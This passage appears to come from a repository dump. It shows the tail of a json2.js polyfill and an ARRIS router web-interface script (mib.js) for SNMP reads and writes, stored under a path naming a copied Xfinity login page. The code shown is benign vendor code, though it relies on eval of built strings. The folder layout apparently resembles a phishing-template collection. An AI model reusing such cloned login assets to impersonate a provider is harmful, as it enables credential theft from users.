gets fixed someday.\r\n\r\n            return String(value);\r\n\r\n// If the type is 'object', we might be dealing with an object or an array or\r\n// null.\r\n\r\n        case 'object':\r\n\r\n// Due to a specification blunder in ECMAScript, typeof null is 'object',\r\n// so watch out for that case.\r\n\r\n            if (!value) {\r\n                return 'null';\r\n            }\r\n\r\n// Make an array to hold the partial results of stringifying this object value.\r\n\r\n            gap += indent;\r\n            partial = [];\r\n\r\n// Is the value an array?\r\n\r\n            if (Object.prototype.toString.apply(value) === '[object Array]') {\r\n\r\n// The value is an array. Stringify every element. Use null as a placeholder\r\n// for non-JSON values.\r\n\r\n                length = value.length;\r\n                for (i = 0; i < length; i += 1) {\r\n                    partial[i] = str(i, value) || 'null';\r\n                }\r\n\r\n// Join all of the elements together, separated with commas, and wrap them in\r\n// brackets.\r\n\r\n                v = partial.length === 0 ? '[]' :\r\n                    gap ? '[\\n' + gap +\r\n                            partial.join(',\\n' + gap) + '\\n' +\r\n                                mind + ']' :\r\n                          '[' + partial.join(',') + ']';\r\n                gap = mind;\r\n                return v;\r\n            }\r\n\r\n// If the replacer is an array, use it to select the members to be stringified.\r\n\r\n            if (rep && typeof rep === 'object') {\r\n                length = rep.length;\r\n                for (i = 0; i < length; i += 1) {\r\n                    k = rep[i];\r\n                    if (typeof k === 'string') {\r\n                        v = str(k, value);\r\n                        if (v) {\r\n                            partial.push(quote(k) + (gap ? ': ' : ':') + v);\r\n                        }\r\n                    }\r\n                }\r\n            } else {\r\n\r\n// Otherwise, iterate through all of the keys in the object.\r\n\r\n                for (k in value) {\r\n                    if (Object.hasOwnProperty.call(value, k)) {\r\n                        v = str(k, value);\r\n                        if (v) {\r\n                            partial.push(quote(k) + (gap ? ': ' : ':') + v);\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n// Join all of the member texts together, separated with commas,\r\n// and wrap them in braces.\r\n\r\n            v = partial.length === 0 ? '{}' :\r\n                gap ? '{\\n' + gap + partial.join(',\\n' + gap) + '\\n' +\r\n                        mind + '}' : '{' + partial.join(',') + '}';\r\n            gap = mind;\r\n            return v;\r\n        }\r\n    }\r\n\r\n// If the JSON object does not yet have a stringify method, give it one.\r\n\r\n    if (typeof JSON.stringify !== 'function') {\r\n        JSON.stringify = function (value, replacer, space) {\r\n\r\n// The stringify method takes a value and an optional replacer, and an optional\r\n// space parameter, and returns a JSON text. The replacer can be a function\r\n// that can replace values, or an array of strings that will select the keys.\r\n// A default replacer method can be provided. Use of the space parameter can\r\n// produce text that is more easily readable.\r\n\r\n            var i;\r\n            gap = '';\r\n            indent = '';\r\n\r\n// If the space parameter is a number, make an indent string containing that\r\n// many spaces.\r\n\r\n            if (typeof space === 'number') {\r\n                for (i = 0; i < space; i += 1) {\r\n                    indent += ' ';\r\n                }\r\n\r\n// If the space parameter is a string, it will be used as the indent string.\r\n\r\n            } else if (typeof space === 'string') {\r\n                indent = space;\r\n            }\r\n\r\n// If there is a replacer, it must be a function or an array.\r\n// Otherwise, throw an error.\r\n\r\n            rep = replacer;\r\n            if (replacer && typeof replacer !== 'function' &&\r\n                    (typeof replacer !== 'object' ||\r\n                     typeof replacer.length !== 'number')) {\r\n                throw new Error('JSON.stringify');\r\n            }\r\n\r\n// Make a fake root object containing our value under the key of ''.\r\n// Return the result of stringifying the value.\r\n\r\n            return str('', {'': value});\r\n        };\r\n    }\r\n\r\n\r\n// If the JSON object does not yet have a parse method, give it one.\r\n\r\n    if (typeof JSON.parse !== 'function') {\r\n        JSON.parse = function (text, reviver) {\r\n\r\n// The parse method takes a text and an optional reviver function, and returns\r\n// a JavaScript value if the text is a valid JSON text.\r\n\r\n            var j;\r\n\r\n            function walk(holder, key) {\r\n\r\n// The walk method is used to recursively walk the resulting structure so\r\n// that modifications can be made.\r\n\r\n                var k, v, value = holder[key];\r\n                if (value && typeof value === 'object') {\r\n                    for (k in value) {\r\n                        if (Object.hasOwnProperty.call(value, k)) {\r\n                            v = walk(value, k);\r\n                            if (v !== undefined) {\r\n                                value[k] = v;\r\n                            } else {\r\n                                delete value[k];\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n                return reviver.call(holder, key, value);\r\n            }\r\n\r\n\r\n// Parsing happens in four stages. In the first stage, we replace certain\r\n// Unicode characters with escape sequences. JavaScript handles many characters\r\n// incorrectly, either silently deleting them, or treating them as line endings.\r\n\r\n            text = String(text);\r\n            cx.lastIndex = 0;\r\n            if (cx.test(text)) {\r\n                text = text.replace(cx, function (a) {\r\n                    return '\\\\u' +\r\n                        ('0000' + a.charCodeAt(0).toString(16)).slice(-4);\r\n                });\r\n            }\r\n\r\n// In the second stage, we run the text against regular expressions that look\r\n// for non-JSON patterns. We are especially concerned with '()' and 'new'\r\n// because they can cause invocation, and '=' because it can cause mutation.\r\n// But just to be safe, we want to reject all unexpected forms.\r\n\r\n// We split the second stage into 4 regexp operations in order to work around\r\n// crippling inefficiencies in IE's and Safari's regexp engines. First we\r\n// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we\r\n// replace all simple value tokens with ']' characters. Third, we delete all\r\n// open brackets that follow a colon or comma or that begin the text. Finally,\r\n// we look to see that the remaining characters are only whitespace or ']' or\r\n// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.\r\n\r\n            if (/^[\\],:{}\\s]*$/\r\n.test(text.replace(/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')\r\n.replace(/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g, ']')\r\n.replace(/(?:^|:|,)(?:\\s*\\[)+/g, ''))) {\r\n\r\n// In the third stage we use the eval function to compile the text into a\r\n// JavaScript structure. The '{' operator is subject to a syntactic ambiguity\r\n// in JavaScript: it can begin a block or an object literal. We wrap the text\r\n// in parens to eliminate the ambiguity.\r\n\r\n                j = eval('(' + text + ')');\r\n\r\n// In the optional fourth stage, we recursively walk the new structure, passing\r\n// each name/value pair to a reviver function for possible transformation.\r\n\r\n                return typeof reviver === 'function' ?\r\n                    walk({'': j}, '') : j;\r\n            }\r\n\r\n// If the text is not JSON parseable, then a SyntaxError is thrown.\r\n\r\n            throw new SyntaxError('JSON.parse');\r\n        };\r\n    }\r\n}());\r\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/mib.js",
    "content": "//(c) Copyright 2011-2012, ARRIS Group, Inc., All rights reserved.\n//justin add\ndocument.write(\"<scr\" + \"ipt language=JavaScript src=mib2.js type=text/javascript><\\/scr\" + \"ipt>\");\n//justin add end\n\nvar walk = { };\nvar loads = [];\nvar stores = [];\nvar table = { };\nvar container = { };\nvar oidsRead = [ ];\nvar mib = { };\nvar bulkLoading = false;\nvar bulkList = [ ];\n\n\nfunction appendMulti_OID(obj_in)\n{\n    var oid_array=\"\";\n    var i=0;\n    for(;i<obj_in.length-1;i++)\n    {\n\t    oid_array+=obj_in[i][\"mibobj\"].oid+\".\"+obj_in[i][\"index\"]+\";\";\n    }\n    if (obj_in[i]) oid_array+=obj_in[i][\"mibobj\"].oid+\".\"+obj_in[i][\"index\"]+\";\";\n    return oid_array;\n}\n\nfunction MIB_dumpArray(MIB_Arrays)      //Debug\n{\n    var p=0;\n    if (window.console) console.log(\"Current Array:\");\n    for(p=0;p<MIB_Arrays.length-1;p++)\n    {\n        if (window.console) console.log(\"\\t\"+MIB_Arrays[p][\"mibobj\"].name+\"[\"+MIB_Arrays[p].index+\"]\"+\",\");\n    }\n    if (window.console) console.log(\"\\t\"+MIB_Arrays[p][\"mibobj\"].name+\"[\"+MIB_Arrays[p].index+\"]\");\n    \n}\n\nfunction MIB_objSort(MIB_objs)  //Sequence Array only\n{\n    /* Sequence Rearrange subroutine (XX=name,[x]=index)\n     * AA[1],BB[1],CC[1],AA[2],BB[2],CC[2],AA[3],BB[3],CC[3]\n     * become....\n     * AA[1],AA[2],AA[3],BB[1],BB[2],BB[3],CC[1],CC[2],CC[3]\n    */\n    var MIB_Arrays=MIB_objs;\n    var MIB_Arrays_sorted=new Array();\n    var MIB_len=MIB_Arrays.length;\n    for(var i=0;i<MIB_len-1;i++)\n    {\n        if(MIB_Arrays[i].index>=0)\n        {\n            var current_pos=MIB_Arrays[i];\n            MIB_Arrays_sorted.push(current_pos);\n            for(var j=i+1;j<MIB_len;j++)\n            {\n                try{\n                if((MIB_Arrays[j].index>=0)&&(current_pos[\"mibobj\"].name==MIB_Arrays[j][\"mibobj\"].name))\n                {\n                    if(MIB_Arrays[j].index>=current_pos.index)\n                    {\n                        var newobj=MIB_Arrays[j];\n                        MIB_Arrays_sorted.push(newobj);\n                        if (window.console) console.log(\"push:\"+MIB_Arrays[j][\"mibobj\"].name+\"[\"+MIB_Arrays[j].index+\"] under: \"+MIB_Arrays[i][\"mibobj\"].name+\"[\"+MIB_Arrays[i].index+\"]\");\n                    }\n                    else    /* simple sort */\n                    {                        \n                        var temp_obj=MIB_Arrays_sorted.pop();\n                        MIB_Arrays_sorted.push(newobj);\n                        MIB_Arrays_sorted.push(temp_obj);\n                    }\n                    \n                    if(MIB_Arrays_sorted.length==MIB_len)\n                    {\n                        MIB_dumpArray(MIB_Arrays_sorted);\n                        return MIB_Arrays_sorted;\n                    }\n                    else\n                    {\n                        if(MIB_Arrays_sorted.length==0)\n                        {\n                            MIB_Arrays_sorted=MIB_objs;\n                            return MIB_Arrays_sorted;\n                        }\n                    }\n                }\n                else\n                {\n                    ;//MIB_dumpArray(MIB_Arrays_sorted);      For Console debug\n                }\n                }catch(e)\n                {\n                    if (window.console) console.log(\"Error:\"+e);\n                    if(MIB_Arrays_sorted.length==0)\n                    {\n                        MIB_Arrays_sorted=MIB_objs;\n                        return MIB_Arrays_sorted;\n                    }\n                    else\n                        return MIB_objs;\n                }\n            }\n        }\n    }\n    \n    return MIB_objs;\n}\n\nfunction MIB_JSON2Str(MIB_objs)\n{\n    var MIB_size=MIB_objSize(MIB_objs);\n    var MIB_Str=\"\";\n    var MIB_count=0;\n    for(var index_key in MIB_objs)\n    {\n        if(!isArray(MIB_objs[index_key]))\n            MIB_Str+='\"'+index_key+'\":\"'+MIB_objs[index_key]+'\"';\n        else\n        {\n            var MIB_subArray=MIB_objs[index_key];\n            var tempStr=\"\";\n            var i=0;\n            for(i=0;i<MIB_subArray.length-1;i++)\n            {\n                if(MIB_subArray[i]!=undefined)\n                    tempStr+='\"'+MIB_subArray[i].toString()+'\",';\n                else\n                    tempStr+='\"\",';\n            }\n            if(MIB_subArray[i]!=undefined)\n                tempStr+='\"'+MIB_subArray[i].toString()+'\"';\n            else\n                tempStr+='\"\"';\n            MIB_Str+='\"'+index_key+'\":['+tempStr+']';\n        }\n        MIB_count++;\n        if(MIB_count<MIB_size)\n            MIB_Str+=\",\";\n    }\n    return MIB_Str;\n}\nfunction MIB_reduceArray(MIB_Result)\n{\n    for (var index_key in MIB_Result)\n    {\n        if(isArray(MIB_Result[index_key])&&MIB_Result[index_key].length==1)\n        {\n            MIB_Result[index_key]=MIB_Result[index_key][0];\n        }\n    }\n    return MIB_Result;\n}\n\nfunction alphanumeric(alphane)\n{\n\tvar numaric = alphane;\n\tfor(var j=0; j<numaric.length; j++)\n\t\t{\n\t\t  var alphaa = numaric.charAt(j);\n\t\t  var hh = alphaa.charCodeAt(0);\n\t\t  if((hh > 47 && hh<58) || (hh > 64 && hh<91) || (hh > 96 && hh<123))\n\t\t  {\n\t\t  }\n\t\telse\t{\n\t\t\t return false;\n\t\t  }\n \t\t}\n return true;\n}\nfunction MIB_BatchLoad(MIB_objs,force_multi)\n{\n    var MIB_query=appendMulti_OID(MIB_objs);\n    var MIB_Result;//=new Array();;//=[];//\n    var MIB_Str=\"{\";\n    var MIB_JSON=snmpMultiGet(MIB_query);\n    var MIB_len=MIB_objs.length;\n    var i=0;\n    if (force_multi==undefined)\n      force_multi = false;\n    for (var index_key in MIB_JSON)\n    {\n    \t//alert(\"index_key:\"+index_key);\n        var DataRow =\"\";\n        if(index_key==(MIB_objs[i][\"mibobj\"].oid+\".\"+MIB_objs[i][\"index\"]))\n        {\n            DataRow='\"'+MIB_objs[i][\"mibobj\"].name+'\":[';\n            val0=MIB_JSON[index_key];\n            if (MIB_objs[i][\"mibobj\"].type==4)\n            {\n                //val2=convertHexStringToASCIIString(val0);\n                //if ( MIB_objs[i][\"mibobj\"].compo==1 )\n                {\n                    val2=val0;\n                }\n                DATA=val2.escapeChars();\n            }\n\t        else\n\t        {\n\t            DATA=val0;\t    \n            }\n            //if(index_key==\"1.3.6.1.4.1.4115.1.3.3.1.1.2.1.1.0\")\n           \t \t//\talert(\"index_key:\"+index_key+\" DATA:\"+DATA);\n            \n            //luis add\n            if(DATA.toUpperCase()==\"NO SUCH OBJECT\")\n            \t DATA=\"\";\n            //luis add end\n            \n            if((i>=1)&&(MIB_objs[i][\"mibobj\"].name==MIB_objs[i-1][\"mibobj\"].name))\n            {\n                MIB_Str=MIB_Str.substring(0,MIB_Str.lastIndexOf(\"]\"));\n                MIB_Str+=',\"'+  DATA.toString() +'\"]'; //More\n                MIB_Str+=((i<MIB_len-1)?\",\":\"\");\n                i++;\n                continue;\n            }\n            else\n                DataRow+='\"'+ DATA.toString()+'\"';\n            i++;\n            if(DataRow.lastIndexOf(\"]\")<DataRow.length-1)\n                DataRow+=\"]\";\n            MIB_Str+=(DataRow+((i<MIB_objs.length)?\",\":\"\"));\n        }\n        else\n        {\n            //Exception!\n            if (window.console) console.log(\"Error!OID mismatch:\"+index_key+\" vs \"+MIB_objs[i][\"mibobj\"].oid+\">>\\n{\"+MIB_objs[i][\"mibobj\"].name+\":\"+MIB_JSON[index_key].toString()+\"}\");\n            return undefined;\n        }\n    }\n    MIB_Str+=\"}\";\n    MIB_Result=eval('('+MIB_Str+')');\n    //Reduce one element Array\n    if(!force_multi)\n    {\n        MIB_Result=MIB_reduceArray(MIB_Result);\n    }\n//    alert(\"(mib.js)MIB_BatchLoad str=[\"+MIB_Str+\"].\");\n    return MIB_Result;\n}\n\nfunction MIB_objSize(MIB_objs)\n{\n    var count=0;\n    for(var index_key in MIB_objs)\n    {\n        count++;\n    }\n    return count;\n}\n\nfunction isArray(what) {\n    return Object.prototype.toString.call(what) === '[object Array]';\n}\n\nfunction MIB_objAppend(MIB_objs,MIB_objs_2,force_multi)\n{\n    if(force_multi==undefined)\n         force_multi=false;\n    var MIB_Result;\n    var MIB_size=MIB_objSize(MIB_objs);\n    var MIB_size_2=MIB_objSize(MIB_objs_2);\n    var MIB_Str=MIB_JSON2Str(MIB_objs);\n    \n    if(MIB_size_2>0)\n        MIB_Str+=\",\";\n    MIB_Str+=MIB_JSON2Str(MIB_objs_2);\n    MIB_Str=\"{\"+MIB_Str+\"}\";\n    MIB_Result=eval('('+MIB_Str+')');\n    if(!force_multi)\n    {\n        MIB_Result=MIB_reduceArray(MIB_Result);\n    }\n    return MIB_Result;\n}\n\n\n\nfunction bulkLoad(load_func) {\n    bulkLoading = true;\n    bulkList = [];\n    load_func();\n    bulkLoading = false;\n    if (bulkList.length === 0)\n        return;\n    var oids = [];\n    _.each(bulkList, function (oid, index) {\n        oids.push(oid);\n        if (oids.length === 20 || index === (bulkList.length-1)) {\n            var v = snmpGet(oids);\n            _.each(v, function (val, key) {\n              walk[key] = val;\n            });\n            oids = [];\n        }\n    });\n}\n\nfunction sliceOid(oid, start, end) {\n    var oids = oid.split(\".\");\n    if (start < 0) {\n        start = oids.length + start;\n        end = oids.length;\n    } else {\n        end = (end === undefined ? oids.length : end);\n    }\n    if (end < 0) {\n        end = oids.length + end;\n    }\n    return _(oids.slice(start, end)).reduce(function(acc, next) {\n        return acc ? acc + \".\" + next : next;\n    });\n}\n\n//function getWalkOids(targetOid) {\n//    $.each(oidMap, function(oid,def) {\n//        if (!oid.startsWith(target))\n//            return;\n//\n//\n//    });\n//}\n\nif (window[\"preWalk\"])\n    walk = window[\"preWalk\"];\n\nfunction afterLoad(f) {\n    {\n        f.loaded = true;\n        if (f.afterLoad) f.afterLoad();\n    }\n}\nfunction load1(f, json) {\n    if (json === undefined)\n        json = snmpWalk([ f.oid ]);\n    // json = JSON.parse(json || \"{ }\");\n    _(json).each(function(val, oid) {\n        walk[oid] = val;\n    });\n    {\n        f.loaded = true;\n        if (f.afterLoad) f.afterLoad();\n    }\n}\n\nvar loadLogData = \"\";\n\nfunction loadLogger(l) {\n    if (window.console) console.log(l);\n    if (debug()&2 && !(l.contains(\"assword\", \"TAC\",\"RadiusKey\")) )\n        loadLogData += (l+\"<br/>\");\n}\n\nfunction load() {\n    loadLogData = \"\";\n    var args = _(_.toArray(arguments));\n    if (!window[\"preWalk\"]) {\n        var oids = args.map(function(f) {\n            return f.oid;\n        });\n        var json = snmpWalk(oids);\n        // json = JSON.parse(json || \"{ }\");\n        _(json).each(function(val, oid) {\n            walk[oid] = val;\n        });\n    }\n    args.each(function(f) {\n        f.loaded = true;\n        if (f.afterLoad) f.afterLoad();\n    })\n    loadRowStatus();\n\n// mb\n//    args.each(function(f) {\n//        f.dump(loadLogger);\n//    })\n//    if (debug()&2)\n//        afterBuild( function() {\n//            showWalk(loadLogData);\n//        });\n\n}\n\nfunction loadFake() {\n    var args = _(_.toArray(arguments));\n    args.each(function(f) {\n        f.loaded = true;\n        if (f.afterLoad) f.afterLoad();\n    })\n}\nfunction loadOids(oa) {\n    function doget(a) {\n        var json = snmpWalk(a);\n        // json = JSON.parse(json || \"{ }\");\n        _(json).each(function(val, oid) {\n            walk[oid] = val;\n        });\n    }\n\n    var soa = [ ];\n    _.each(oa, function(o) {\n        soa.push(o);\n        if (soa.length > 5) {\n            doget(soa);\n            soa = [ ];\n        }\n    });\n    if (soa.length)\n        doget(soa);\n}\n\n\nfunction store() {\n    MibObjects.ApplyAllSettings.set(1);\n    refresh();\n}\n\nfunction listAccessed() {\n    _.each(_.extend({}, container, table), function(f) {\n        if (f.accessed) if (window.console) console.log(f.name);\n    });\n}\n\nfunction decodeOid(oid) {\n    var d = \"\";\n    var match = { oid: \"\" };\n    _.each(_.extend({}, container, table), function(f) {\n        _.each(f.children, function(e) {\n            if (oid.startsWith(e.oid + \".\") && e.oid.length > match.oid.length) {\n                match = e;\n            }\n        })\n    });\n    //d = e.name+oid.substr(e.oid.length);\n    return match.oid ? match.name + oid.substr(match.oid.length) : \"???\" + oid;\n}\n\nfunction decodeOid(oid) {\n    var d = \"\";\n    var match = { oid: \"\" };\n    _.each(_.extend({}, container, table), function(f) {\n        _.each(f.children, function(e) {\n            if (oid.startsWith(e.oid + \".\") && e.oid.length > match.oid.length) {\n                match = e;\n            }\n        })\n    });\n    //d = e.name+oid.substr(e.oid.length);\n    return match.oid ? match.name + oid.substr(match.oid.length) : \"???\" + oid;\n}\n\n\n\nfunction dumpOidsRead() {\n    _.each(oidsRead, function(o) {\n        if (window.console) console.log(o);\n    });\n}\n\n\nfunction oidValuesEqual(a,b) {\n    if ((\"\"+a).startsWith(\"$\") && (\"\"+b).startsWith(\"$\")) {\n        return a.replace(/ /g,\"\") === b.replace(/ /g,\"\")\n    }\n    return a == b;\n}\n\n\nfunction Container(name, oid) {\n    this.name = name;\n    this.oid = oid;\n    mib[oid] = this;\n    container[oid] = this;\n    this.parent = mib[sliceOid(oid, 0, -1)];\n    if (this.parent)\n        this.parent.children.push(this);\n    //$.log(\"container \"+name+\" parent \"+(this.parent ? this.parent.name : \"ROOT\"));\n    this.children = [ ];\n    this.loaded = false;\n    this.accessed = false;\n    this.dump = function(f) {\n        var or = oidsRead.slice(0);\n        if (f === undefined)\n            f = $.log;\n        accessed = this.accessed;\n        f(name + \" ===============\");\n        _.each(this.children, function(v) {\n            if (v !== undefined && v.scalar)\n                f(v.name + \":\" + v.get());\n        });\n        this.accessed = accessed;\n        oidsRead = or;\n    };\n    this.json = function() {\n        return { name:this.name,type:\"container\",oid:this.oid,\n            children: _.map(this.children, function(f) {\n                return f.json();\n            }) };\n    }\n}\n\nfunction Table(name, oid) {\n    this.oid = oid;\n    this.name = name;\n    mib[oid] = this;\n    table[oid] = this;\n    this.parent = mib[sliceOid(oid, 0, -1)];\n    if (this.parent)\n        this.parent.children.push(this);\n    //$.log(\"table \"+name+\" parent \"+(this.parent ? this.parent.name : \"???\"));\n    this.key = [];\n    this.children = [ ];\n    this.loaded = false;\n    this.accessed = false;\n    this.rowStatus = null;\n    this.rowVisible = function(key) {\n        var vis = true;\n        if (this.rowStatus) {\n            vis =  this.rowStatus.getOid(key) <= 2;/* 2: not in service 1: active */\n            if (!vis)\n                if (window.console) console.log(name+\".\"+key+\" not visible: \"+this.rowStatus.getOid(key));//\n        }\n        return vis;\n    };\n    this.length = function() {\n        return this.key.length;\n    };\n    this.afterLoad = function() {\n        var hash = { };\n        _.each(walk, function(v, k) {\n            if (k.startsWith(oid + \".\")) {\n                //key = sliceOid(k.substr(oid.length+1),2);\n                //var tableoid = sliceOid(k,0,-2);\n                var testKey = sliceOid(k.substr(oid.length + 1), 2);\n                if (testKey && !hash[testKey]) {\n                    hash[testKey] = testKey;\n                    this.key.push(testKey);\n                }\n            }\n        }, this);\n        this.loaded = true;\n        loadRowStatus();\n    }\n    this.dumpGroupRow = true;\n    this.dump = function(f) {\n        var or = oidsRead.slice(0);\n        if (f === undefined)\n            f = $.log;\n        accessed = this.accessed;\n        var rv = \"\";\n        for (var i = 0; i < this.length(); i++) {\n            rv += this.key[i] + \";\";\n        }\n        f(\"table \" + name + \" size=\" + this.length() + \"  \" + rv);\n        var rv = \"\";\n        for (var i = 0; i < this.length(); i++) {\n            $.each(this.children, function(k, v) {\n                if (v.get(i)) {\n                    rv += (v.name + \":\" + v.get(i) + \";\");\n                    if (!this.dumpGroupRow) {\n                        f(\"===\" + this.table.key[i] + \"==>\" + rv);\n                        rv = \"\";\n                    }\n                }\n            });\n            if (rv.length && this.dumpGroupRow)\n                f(\"===\" + this.key[i] + \"==>\" + rv);\n        }\n        this.accessed = accessed;\n        oidsRead = or;\n        f(\"rowStatus: \"+ (this.rowStatus ? this.rowStatus.name : \"\"));\n    }\n    this.json = function() {\n        return { name:this.name,type:\"table\",oid:this.oid,\n            children: _.map(this.children, function(f) {\n                return f.json();\n            }) };\n    }\n    this.getTable = function(cola, func) {\n        if (walk[this.oid] === undefined) {\n            walk[this.oid] = \"\";\n            _.extend(walk, snmpWalk([this.oid]));\n            this.afterLoad();\n        }\n        else if (0 == this.oid.indexOf(MtaDevVqmMetricTable.oid))\n        {\n            walk[this.oid] = \"\";\n            _.extend(walk, snmpWalk([this.oid]));\n            this.key.splice(0,this.key.length);\n            this.afterLoad();\n\n        }\n        else if (0 == this.oid.indexOf(MtaDevVqmCallNumberTable.oid))\n        {\n            walk[this.oid] = \"\";\n            _.extend(walk, snmpWalk([this.oid]));\n           this.key.splice(0,this.key.length);\n           this.afterLoad();\n        }\n        else if (0 == this.oid.indexOf(MACAccessTable.oid))\n        {\n            walk[this.oid] = \"\";\n            _.extend(walk, snmpWalk([this.oid]));\n           this.key.splice(0,this.key.length);\n           this.afterLoad();\n        }\n        var or = oidsRead.slice(0);\n        var table = [ ];\n        if (!cola)\n            cola = this.children;\n        for (var i = 0; i < this.length(); i++) {\n            if (!this.rowVisible(this.key[i]))\n                continue;\n            var row = [];\n            _.each(cola, function(c) {\n\t        val0=c.get(c.table.key[i]);\n                if (c.type==4)\n\t\t{\n\t\t  //val2=convertHexStringToASCIIString(val0);\n\t\t  //if (c.compo==1)\n\t\t  {\n                     val2=val0;\n\t\t  }\n                }\n\t\telse\n\t\t  val2=val0;\n\t\t        //luis add\n            if(val2.toUpperCase()==\"NO SUCH OBJECT\")\n            \t val2=\"\";\n            //luis add end\n\n                row.push(val2);\n\t\t\t\t\t\t\n            });\n            if (func) {\n                row = func(i, row, this.key[i]);\n                if (row)\n                    table.push(row);\n            }\n            else table.push(row);            \t\n        }\n        oidsRead = or;\n        return table;\n    }\n\n    this.getTableFromJson = function(json_obj,cola, func) {\n        //walk[this.oid]=json_obj[this.name];\n\t_.extend(walk,json_obj[this.name]);\n        this.afterLoad();\n        var or = oidsRead.slice(0);\n        var table = [ ];\n        if (!cola)\n            cola = this.children;\n        for (var i = 0; i < this.length(); i++) {\n            if (!this.rowVisible(this.key[i]))\n                continue;\n            var row = [];\n            _.each(cola, function(c) {\n\t        val0=c.get(c.table.key[i]);\n                if (c.type==4)\n\t\t{\n\t\t  //val2=convertHexStringToASCIIString(val0);\n\t\t  //if (c.compo==1)\n\t\t  {\n                     val2=val0;\n\t\t  }\n                }\n\t\telse\n\t\t  val2=val0;\t\t\n                row.push(val2);\n            });\n            if (func) {\n                row = func(i, row, this.key[i]);\n                if (row)\n                    table.push(row);\n            }\n            else table.push(row);\n        }\n        oidsRead = or;\n        return table;\n    }\n\n    this.getMultiTable = function(tables_oid) {\n    var temp_str=\"\";\n    var MIB_Result;\n    var MultiTable=[ ];\n    var tablecount=tables_oid.length,i;\n    for(i=0;i<tablecount;i++)\n    {\n    \ttry {\n          if (tables_oid[i].oid) temp_str+=tables_oid[i].oid+\";\";\n\t} catch(e)\n\t{\n\t  ;//Do nothing\n\t}\n    }\n        temp_str= snmpMultiWalk(temp_str);\n    MIB_Result=eval('(['+temp_str+'])');\n    for(i=0;i<MIB_Result.length;i++)\n    {\n        MultiTable[tables_oid[i].name]=MIB_Result[i];\n    }\n        return MultiTable;\n    }\n\n    this.deleteVisible = function(index) {\n        for (var i=0;i<this.key.length;i++) {\n            if (this.rowVisible(this.key[i])) {\n                if (index===0) {\n                    this.rowStatus.set(this.key[i],\"6\"); // delete\n                    return;\n                } else {\n                    index--;\n                }\n            }\n        }\n    }\n    this.findLowestFree = function(col, max) {\n        var or = oidsRead.slice(0);\n        var keyMap = { };\n        _.each(this.key, function(k, i) {\n            keyMap[\"\" + k] = col.get(k);\n        });\n        var key = _.detect(_.range(1, max + 1), function(i) {\n            return keyMap[\"\" + i] === undefined\n        });\n        if (key == max)\n            alert(\"Table \" + this.name + \" is full\");\n        oidsRead = or;\n        return key;\n    }\n    this.addRow = function(rowKey, cva, label) {\n\n       stores = [];\n\n        try {\n            this.beforeAddRow(rowKey);\n            for (var i = 0; i < cva.length / 2; i++) {\n                var col = cva[i * 2];\n                var val = cva[i * 2 + 1];\n                if (col.table && col.table != this)\n                    throw \"Wrong table \" + this.name + \" for \" + col.name;\n                stores.push({oid:col.oid + \".\" + rowKey, value:val, type:col.type});\n\n                $.log(\"addRow \" + col.name + \".\" + rowKey + \"=\" + val);\n            }\n            this.afterAddRow(rowKey);\n            _.each(stores, function(kvt) {\n                try {\n                    snmpSet1(kvt.oid, kvt.value, kvt.type);\n                } catch (e) {\n                    if (e == \"unauthorized\")\n                        refresh();\n                    else if (label)\n                       throw { oid:kvt.oid, label:label };\n                    throw e;\n                }\n            });\n        } finally {\n            stores = [];\n        }\n\n    }\n    this.beforeAddRow = function(key) {\n        if (this.rowStatus) {\n            if (this.rowStatus.getOid(key) === \"\")\n                stores.push({oid:this.rowStatus.oid + \".\" + key, value:5, type:this.rowStatus.type}); // createAndWait\n        }\n    };\n    this.afterAddRow = function(key) {\n        if (this.rowStatus)\n            stores.push({oid:this.rowStatus.oid + \".\" + key, value:1, type:this.rowStatus.type}); // active\n    };\n}\n\nfunction Scalar(name, oid, type, compo) {\n    mib[oid] = this;\n    this.name = name;\n    this.oid = oid;\n    this.type = type;\n    this.scalar = true;\n    this.compo=compo;\n    this.parent = container[sliceOid(oid, 0, -1)];\n    //$.log(\"scalar \"+name+\" parent \"+this.parent.name);\n    if (!this.parent)\n        alert(\"container for[\" + name + \":\" + oid + \"] not found\");\n    this.parent.children.push(this);\n    this.get = function() {\n        if (arguments.length !== 0)\n            alert(\"unexpected index for scalar \" + this.name);\n        var oid = this.oid+\".0\";\n        if (bulkLoading) {\n            bulkList.push(oid);\n            return \"\";\n        }\n        if (walk[oid] === undefined)\n        {\n            walk[oid] = snmpGet1(oid) || \"\";\n        }\n\telse if (oid == arPingPktsSent.oid+\".0\")\n\t{\n            walk[oid] = snmpGet1(oid) || \"\";\n\t}\n\n        if (this.type==4)\n\t{\n\t        val0=walk[oid];\n\t\t//val2=convertHexStringToASCIIString(walk[oid]);\n\t\t//if (this.compo==1)\n\t\t{\n                  val2=val0;\n\t\t}\n\t        return val2;\n\t}\n\telse\n          return walk[oid];\n\n        if (!this.parent.loaded)\n            alert(this.parent.name + \" not loaded\");\n        this.parent.accessed = true;\n        oidsRead.push(oid + \".0\");\n        return walk[oid + \".0\"] || \"\";\n    };\n    this.set = function(v, label) {\n        try {\n            snmpSet1(this.oid + \".0\", v, this.type);\n        } catch (e) {\n            if (e == \"unauthorized\")\n                refresh();\n            else if (label)\n                throw { oid:this.oid + \".0\", label:label };\n            throw e;\n        }\n    };\n    this.asyn_set = function(v, label) {\n        try {\n            snmpSet1Async(this.oid + \".0\", v, this.type);\n        } catch (e) {\n            if (e == \"unauthorized\")\n                refresh();\n            else if (label)\n                throw { oid:this.oid + \".0\", label:label };\n            throw e;\n        }\n    };\n    this.defined = function(index) {\n        return walk[oid + \".0\"] !== undefined;\n    }\n    this.json = function() {\n        return { name:this.name,type:\"scalar\",oid:this.oid };\n    }\n}\n\nfunction Column(name, oid, type, compo) {\n    mib[oid] = this;\n    this.name = name;\n    this.oid = oid;\n    this.type = type;\n    this.compo=compo;\n    this.table = table[sliceOid(oid, 0, -2)];\n    //$.log(\"column \"+name+\" parent \"+this.table.name);\n    if (!this.table)\n        alert(\"table for \" + name + \":\" + oid + \" not found\");\n    this.table.children.push(this);\n    this.length = function() {\n        return this.table.length();\n    };\n    this.getKey = function(index) {\n        if (!this.table.loaded)\n            alert(this.table.name + \" not loaded\");\n        if (index < 0 || index > this.table.key.length)\n            if (window.console) 